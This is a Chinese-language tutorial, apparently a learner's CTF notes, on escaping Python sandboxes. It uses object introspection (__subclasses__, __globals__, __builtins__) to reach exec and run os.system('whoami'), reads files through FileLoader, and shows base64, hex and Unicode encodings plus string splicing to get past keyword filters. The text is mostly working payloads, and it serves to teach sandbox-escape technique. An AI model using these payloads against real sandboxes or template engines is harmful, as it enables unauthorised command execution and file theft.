python沙盒逃逸(0)
基础知识&基本操作
基本魔术方法
print(''.__class__.__mro__) #获取类继承链
print(''.__class__.__bases__) #获取父类(python支持多继承),返回值是元组形式
print(''.__class__.__base__) #获取基类[单个回显]
print(''.__class__.__subclasses__()) #获取该类的所有子类
#__dict__ 返回所有属性,包括属性,方法等
#__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化
获取子类
#打印Object类的所有子类
for i in range(0,200):
try:
thing=''.__class__.__bases__[0].__subclasses__()[i]
print(i,' ',thing)
except:
Exception
获取全局函数
#寻找具有__globals__属性的类.
#只有被重载的类才有该属性。
#使用__init__初始化后,带有“wrapper”的说明没有被重载。
#Object本身没有被重载;从它的子类找。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__init__)
if 'wrapper' not in thing:
print(i,' ',[].__class__.__base__.__subclasses__()[i])
except:
Exception
文件读取
#使用_frozen_importlib_external.FileLoader类进行文件读取
#这里我不太会查python文档之类的,只能用__dict__看这个类的所有属性,之后找看起来能用的试。
print([].__class__.__base__.__subclasses__()[100].__dict__)
#最后就找到了一个get_data,用法有个参数还没搞明白
print([].__class__.__base__.__subclasses__()[100].get_data('任意值','C:/Users/Dell/Downloads/app.py'))
寻找命令执行
#尝试寻找命令执行
#结果没找到eval方法,有几个类里有exec,但并没有exec方法(实际上是exec_method)。
for i in range(200):
try:
thing=str([].__class__.__base__.__subclasses__()[i].__dict__)
if ('wrapper' not in thing)and(('eval' in thing)or('exec' in thing)):
print(i,' ',[].__class__.__base__.__subclasses__()[i])
print(i, ' ', [].__class__.__base__.__subclasses__()[i].__dict__)
except:
Exception
#转换思路;之前一直看的是python自带的类(Object及其子类)中的方法;
#现在,来看看内置函数。
#通过__init__.__globals__['__builtins__']查看初始化时即导入的内置函数。从哪个类进去都一样。
#这里面一般是有eval和exec的。
print([].__class__.__base__.__subclasses__()[135])
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[135].__init__)
print([].__class__.__base__.__subclasses__()[40].__init__)
thing=str([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__'])
if ('eval' in thing)and('exec' in thing):
print('exist')
#eval和exec在返回值上有一些区别,此处先忽略.
#只要知道他能将字符串当成代码执行就行了。
#使用__import__动态包含模块,然后调函数即可。
#结合之前的内容,就搞出了一种常见payload
print(eval('__import__("os").system("whoami")'))
print(exec('__import__("os").system("whoami")'))
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
绕过姿势
以下绕过,均以
print([].__class__.__base__.__subclasses__()[135].__init__.__globals__['__builtins__']['exec']('__import__("os").system("whoami")'))
为例进行修改。
编码绕过
payload中引号内的(即字符串类型的数据),在调用的时候都可以使用编码绕过。
函数绕过
测试的时候需要外部库base64,感觉不太好用。
#python生成base64信息的样例
import base64
print(base64.b64encode('__builtins__'.encode()))
#样例payload;感觉真的不好用。
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__[base64.b64decode('X19idWlsdGluc19f'.encode()).decode()][base64.b64decode('ZXhlYw=='.encode()).decode()](base64.b64decode('X19pbXBvcnRfXygib3MiKS5zeXN0ZW0oIndob2FtaSIp'.encode()).decode())
字节码绕过
python中的.encode()
对于可见的ascii字符不会输出其字节码,所以还得自己写转化。
#纯字节码的转化样例
x='__import__("os").system("whoami")'
y=''
for i in range(len(x)):
y+='\\x'+(hex(ord(x[i]))[2:])
print(y)
#样例payload
().__class__.__bases__[0].__subclasses__()[135].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x22\x6f\x73\x22\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x22\x77\x68\x6f\x61\x6d\x69\x22\x29')
Unicode绕过
跟字节码绕过差不多,但挺新奇的。
生成时,将\\x
改为\\u00
即可。
举例:\x65\x76\x61\x6c
变为\u0065\u0076\u0061\u006c
python默认支持Unicode;基本已经不采用它的原因是一般情况下前两位都是00,太浪费空间了。
拼接类绕过
以过滤flag
为例:
join函数拼接:("fla".join("/g"))
注释拼接:fl''ag fl""ag
其他绕过&组合绕过
https://xz.aliyun.com/t/11090#toc-10
自己看吧。